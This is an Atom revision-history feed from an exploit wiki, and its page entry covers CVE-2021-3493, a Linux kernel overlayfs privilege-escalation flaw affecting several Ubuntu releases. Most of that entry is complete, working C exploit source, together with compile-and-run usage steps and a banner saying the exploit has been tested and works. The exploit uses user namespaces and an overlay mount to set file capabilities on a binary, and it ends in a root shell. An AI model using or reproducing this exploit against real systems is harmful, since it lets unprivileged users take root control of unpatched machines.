<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2021-3493_linux_kernel_%E7%89%B9%E6%AC%8A%E6%8F%90%E5%8D%87%E6%BC%8F%E6%B4%9E%2Fen</id>
	<title>CVE-2021-3493 linux kernel 特權提升漏洞/en - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2021-3493_linux_kernel_%E7%89%B9%E6%AC%8A%E6%8F%90%E5%8D%87%E6%BC%8F%E6%B4%9E%2Fen"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2021-3493_linux_kernel_%E7%89%B9%E6%AC%8A%E6%8F%90%E5%8D%87%E6%BC%8F%E6%B4%9E/en&amp;action=history"/>
	<updated>2026-04-04T04:03:12Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=CVE-2021-3493_linux_kernel_%E7%89%B9%E6%AC%8A%E6%8F%90%E5%8D%87%E6%BC%8F%E6%B4%9E/en&amp;diff=5433&amp;oldid=prev</id>
		<title>FuzzyBot: Updating to match new version of source page</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2021-3493_linux_kernel_%E7%89%B9%E6%AC%8A%E6%8F%90%E5%8D%87%E6%BC%8F%E6%B4%9E/en&amp;diff=5433&amp;oldid=prev"/>
		<updated>2021-06-20T09:06:00Z</updated>

		<summary type="html">&lt;p&gt;Updating to match new version of source page&lt;/p&gt;
&lt;table class=&quot;diff diff-contentalign-left diff-editfont-monospace&quot; data-mw=&quot;interface&quot;&gt;
				&lt;col class=&quot;diff-marker&quot; /&gt;
				&lt;col class=&quot;diff-content&quot; /&gt;
				&lt;col class=&quot;diff-marker&quot; /&gt;
				&lt;col class=&quot;diff-content&quot; /&gt;
				&lt;tr class=&quot;diff-title&quot; lang=&quot;chinese&quot;&gt;
				&lt;td colspan=&quot;2&quot; style=&quot;background-color: #fff; color: #202122; text-align: center;&quot;&gt;← Older revision&lt;/td&gt;
				&lt;td colspan=&quot;2&quot; style=&quot;background-color: #fff; color: #202122; text-align: center;&quot;&gt;Revision as of 09:06, 20 June 2021&lt;/td&gt;
				&lt;/tr&gt;&lt;tr&gt;&lt;td colspan=&quot;2&quot; class=&quot;diff-lineno&quot; id=&quot;mw-diff-left-l1&quot; &gt;Line 1:&lt;/td&gt;
&lt;td colspan=&quot;2&quot; class=&quot;diff-lineno&quot;&gt;Line 1:&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&amp;lt;languages   /&amp;gt;&lt;/div&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&amp;lt;languages   /&amp;gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td colspan=&quot;2&quot;&gt; &lt;/td&gt;&lt;td class='diff-marker'&gt;+&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&lt;ins style=&quot;font-weight: bold; text-decoration: none;&quot;&gt;{| style=&amp;quot;margin: auto; width: 750px;color:green;&amp;quot;&lt;/ins&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td colspan=&quot;2&quot;&gt; &lt;/td&gt;&lt;td class='diff-marker'&gt;+&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&lt;ins style=&quot;font-weight: bold; text-decoration: none;&quot;&gt;| style=&amp;quot;text-align: left; margin: 1em 1em 1em 0; border: 1px solid #20A3C0; padding: .2em;&amp;quot; |&lt;/ins&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td colspan=&quot;2&quot;&gt; &lt;/td&gt;&lt;td class='diff-marker'&gt;+&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&lt;ins style=&quot;font-weight: bold; text-decoration: none;&quot;&gt;{| cellspacing=&amp;quot;2px&amp;quot; &lt;/ins&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td colspan=&quot;2&quot;&gt; &lt;/td&gt;&lt;td class='diff-marker'&gt;+&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&lt;ins style=&quot;font-weight: bold; text-decoration: none;&quot;&gt;| valign=&amp;quot;middle&amp;quot; | [[Image:Check.png|50px]]&lt;/ins&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td colspan=&quot;2&quot;&gt; &lt;/td&gt;&lt;td class='diff-marker'&gt;+&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&lt;ins style=&quot;font-weight: bold; text-decoration: none;&quot;&gt;| &amp;lt;strong&amp;gt;該漏洞已通過驗證。&amp;lt;/strong&amp;gt;&lt;/ins&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td colspan=&quot;2&quot;&gt; &lt;/td&gt;&lt;td class='diff-marker'&gt;+&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&lt;ins style=&quot;font-weight: bold; text-decoration: none;&quot;&gt;|&lt;/ins&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td colspan=&quot;2&quot;&gt; &lt;/td&gt;&lt;td class='diff-marker'&gt;+&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&lt;ins style=&quot;font-weight: bold; text-decoration: none;&quot;&gt;| &amp;lt;center&amp;gt;本頁面的EXP/POC/Payload經測試可用，漏洞已經成功復現。&amp;lt;/center&amp;gt;&lt;/ins&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td colspan=&quot;2&quot;&gt; &lt;/td&gt;&lt;td class='diff-marker'&gt;+&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&lt;ins style=&quot;font-weight: bold; text-decoration: none;&quot;&gt;|}&lt;/ins&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td colspan=&quot;2&quot;&gt; &lt;/td&gt;&lt;td class='diff-marker'&gt;+&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&lt;ins style=&quot;font-weight: bold; text-decoration: none;&quot;&gt;|}&lt;/ins&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td colspan=&quot;2&quot;&gt; &lt;/td&gt;&lt;td class='diff-marker'&gt;+&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&lt;ins style=&quot;font-weight: bold; text-decoration: none;&quot;&gt;&amp;lt;br&amp;gt;&amp;lt;noinclude&amp;gt;&lt;/ins&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;==Affected version==&lt;/div&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;==Affected version==&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&amp;lt;pre&amp;gt;&lt;/div&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&amp;lt;pre&amp;gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;

&lt;!-- diff cache key pwn_wiki:diff::1.12:old-1837:rev-5433 --&gt;
&lt;/table&gt;</summary>
		<author><name>FuzzyBot</name></author>
	</entry>
	<entry>
		<id>https://pwnwiki.com/index.php?title=CVE-2021-3493_linux_kernel_%E7%89%B9%E6%AC%8A%E6%8F%90%E5%8D%87%E6%BC%8F%E6%B4%9E/en&amp;diff=1837&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==Usage==&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2021-3493_linux_kernel_%E7%89%B9%E6%AC%8A%E6%8F%90%E5%8D%87%E6%BC%8F%E6%B4%9E/en&amp;diff=1837&amp;oldid=prev"/>
		<updated>2021-04-21T08:29:47Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==Usage==&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;&amp;lt;languages   /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Affected version==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Ubuntu 20.10&lt;br /&gt;
Ubuntu 20.04 LTS&lt;br /&gt;
Ubuntu 18.04 LTS&lt;br /&gt;
Ubuntu 16.04 LTS&lt;br /&gt;
Ubuntu 14.04 ESM&lt;br /&gt;
&lt;br /&gt;
Fixed in Linux 5.11&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Screenshot==&lt;br /&gt;
&lt;br /&gt;
[[FIle:2021-04-21_16.24.30.jpg |800px]]&lt;br /&gt;
 &lt;br /&gt;
==Usage==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
gcc exploit.c -o exploit&lt;br /&gt;
chmod +x exploit&lt;br /&gt;
./exploit&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==EXP==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#define _GNU_SOURCE&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
#include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
#include &amp;lt;string.h&amp;gt;&lt;br /&gt;
#include &amp;lt;unistd.h&amp;gt;&lt;br /&gt;
#include &amp;lt;fcntl.h&amp;gt;&lt;br /&gt;
#include &amp;lt;err.h&amp;gt;&lt;br /&gt;
#include &amp;lt;errno.h&amp;gt;&lt;br /&gt;
#include &amp;lt;sched.h&amp;gt;&lt;br /&gt;
#include &amp;lt;sys/types.h&amp;gt;&lt;br /&gt;
#include &amp;lt;sys/stat.h&amp;gt;&lt;br /&gt;
#include &amp;lt;sys/wait.h&amp;gt;&lt;br /&gt;
#include &amp;lt;sys/mount.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
//#include &amp;lt;attr/xattr.h&amp;gt;&lt;br /&gt;
//#include &amp;lt;sys/xattr.h&amp;gt;&lt;br /&gt;
int setxattr(const char *path, const char *name, const void *value, size_t size, int flags);&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
#define DIR_BASE    &amp;quot;./ovlcap&amp;quot;&lt;br /&gt;
#define DIR_WORK    DIR_BASE &amp;quot;/work&amp;quot;&lt;br /&gt;
#define DIR_LOWER   DIR_BASE &amp;quot;/lower&amp;quot;&lt;br /&gt;
#define DIR_UPPER   DIR_BASE &amp;quot;/upper&amp;quot;&lt;br /&gt;
#define DIR_MERGE   DIR_BASE &amp;quot;/merge&amp;quot;&lt;br /&gt;
#define BIN_MERGE   DIR_MERGE &amp;quot;/magic&amp;quot;&lt;br /&gt;
#define BIN_UPPER   DIR_UPPER &amp;quot;/magic&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
static void xmkdir(const char *path, mode_t mode)&lt;br /&gt;
{&lt;br /&gt;
    if (mkdir(path, mode) == -1 &amp;amp;&amp;amp; errno != EEXIST)&lt;br /&gt;
        err(1, &amp;quot;mkdir %s&amp;quot;, path);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
static void xwritefile(const char *path, const char *data)&lt;br /&gt;
{&lt;br /&gt;
    int fd = open(path, O_WRONLY);&lt;br /&gt;
    if (fd == -1)&lt;br /&gt;
        err(1, &amp;quot;open %s&amp;quot;, path);&lt;br /&gt;
    ssize_t len = (ssize_t) strlen(data);&lt;br /&gt;
    if (write(fd, data, len) != len)&lt;br /&gt;
        err(1, &amp;quot;write %s&amp;quot;, path);&lt;br /&gt;
    close(fd);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
static void xcopyfile(const char *src, const char *dst, mode_t mode)&lt;br /&gt;
{&lt;br /&gt;
    int fi, fo;&lt;br /&gt;
&lt;br /&gt;
    if ((fi = open(src, O_RDONLY)) == -1)&lt;br /&gt;
        err(1, &amp;quot;open %s&amp;quot;, src);&lt;br /&gt;
    if ((fo = open(dst, O_WRONLY | O_CREAT, mode)) == -1)&lt;br /&gt;
        err(1, &amp;quot;open %s&amp;quot;, dst);&lt;br /&gt;
&lt;br /&gt;
    char buf[4096];&lt;br /&gt;
    ssize_t rd, wr;&lt;br /&gt;
&lt;br /&gt;
    for (;;) {&lt;br /&gt;
        rd = read(fi, buf, sizeof(buf));&lt;br /&gt;
        if (rd == 0) {&lt;br /&gt;
            break;&lt;br /&gt;
        } else if (rd == -1) {&lt;br /&gt;
            if (errno == EINTR)&lt;br /&gt;
                continue;&lt;br /&gt;
            err(1, &amp;quot;read %s&amp;quot;, src);&lt;br /&gt;
        }&lt;br /&gt;
&lt;br /&gt;
        char *p = buf;&lt;br /&gt;
        while (rd &amp;gt; 0) {&lt;br /&gt;
            wr = write(fo, p, rd);&lt;br /&gt;
            if (wr == -1) {&lt;br /&gt;
                if (errno == EINTR)&lt;br /&gt;
                    continue;&lt;br /&gt;
                err(1, &amp;quot;write %s&amp;quot;, dst);&lt;br /&gt;
            }&lt;br /&gt;
            p += wr;&lt;br /&gt;
            rd -= wr;&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    close(fi);&lt;br /&gt;
    close(fo);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
static int exploit()&lt;br /&gt;
{&lt;br /&gt;
    char buf[4096];&lt;br /&gt;
&lt;br /&gt;
    sprintf(buf, &amp;quot;rm -rf '%s/'&amp;quot;, DIR_BASE);&lt;br /&gt;
    system(buf);&lt;br /&gt;
&lt;br /&gt;
    xmkdir(DIR_BASE, 0777);&lt;br /&gt;
    xmkdir(DIR_WORK,  0777);&lt;br /&gt;
    xmkdir(DIR_LOWER, 0777);&lt;br /&gt;
    xmkdir(DIR_UPPER, 0777);&lt;br /&gt;
    xmkdir(DIR_MERGE, 0777);&lt;br /&gt;
&lt;br /&gt;
    uid_t uid = getuid();&lt;br /&gt;
    gid_t gid = getgid();&lt;br /&gt;
&lt;br /&gt;
    if (unshare(CLONE_NEWNS | CLONE_NEWUSER) == -1)&lt;br /&gt;
        err(1, &amp;quot;unshare&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
    xwritefile(&amp;quot;/proc/self/setgroups&amp;quot;, &amp;quot;deny&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
    sprintf(buf, &amp;quot;0 %d 1&amp;quot;, uid);&lt;br /&gt;
    xwritefile(&amp;quot;/proc/self/uid_map&amp;quot;, buf);&lt;br /&gt;
&lt;br /&gt;
    sprintf(buf, &amp;quot;0 %d 1&amp;quot;, gid);&lt;br /&gt;
    xwritefile(&amp;quot;/proc/self/gid_map&amp;quot;, buf);&lt;br /&gt;
&lt;br /&gt;
    sprintf(buf, &amp;quot;lowerdir=%s,upperdir=%s,workdir=%s&amp;quot;, DIR_LOWER, DIR_UPPER, DIR_WORK);&lt;br /&gt;
    if (mount(&amp;quot;overlay&amp;quot;, DIR_MERGE, &amp;quot;overlay&amp;quot;, 0, buf) == -1)&lt;br /&gt;
        err(1, &amp;quot;mount %s&amp;quot;, DIR_MERGE);&lt;br /&gt;
&lt;br /&gt;
    // all+ep&lt;br /&gt;
    char cap[] = &amp;quot;\x01\x00\x00\x02\xff\xff\xff\xff\x00\x00\x00\x00\xff\xff\xff\xff\x00\x00\x00\x00&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
    xcopyfile(&amp;quot;/proc/self/exe&amp;quot;, BIN_MERGE, 0777);&lt;br /&gt;
    if (setxattr(BIN_MERGE, &amp;quot;security.capability&amp;quot;, cap, sizeof(cap) - 1, 0) == -1)&lt;br /&gt;
        err(1, &amp;quot;setxattr %s&amp;quot;, BIN_MERGE);&lt;br /&gt;
&lt;br /&gt;
    return 0;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
int main(int argc, char *argv[])&lt;br /&gt;
{&lt;br /&gt;
    if (strstr(argv[0], &amp;quot;magic&amp;quot;) || (argc &amp;gt; 1 &amp;amp;&amp;amp; !strcmp(argv[1], &amp;quot;shell&amp;quot;))) {&lt;br /&gt;
        setuid(0);&lt;br /&gt;
        setgid(0);&lt;br /&gt;
        execl(&amp;quot;/bin/bash&amp;quot;, &amp;quot;/bin/bash&amp;quot;, &amp;quot;--norc&amp;quot;, &amp;quot;--noprofile&amp;quot;, &amp;quot;-i&amp;quot;, NULL);&lt;br /&gt;
        err(1, &amp;quot;execl /bin/bash&amp;quot;);&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    pid_t child = fork();&lt;br /&gt;
    if (child == -1)&lt;br /&gt;
        err(1, &amp;quot;fork&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
    if (child == 0) {&lt;br /&gt;
        _exit(exploit());&lt;br /&gt;
    } else {&lt;br /&gt;
        waitpid(child, NULL, 0);&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    execl(BIN_UPPER, BIN_UPPER, &amp;quot;shell&amp;quot;, NULL);&lt;br /&gt;
    err(1, &amp;quot;execl %s&amp;quot;, BIN_UPPER);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Github==&lt;br /&gt;
https://github.com/briskets/CVE-2021-3493&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>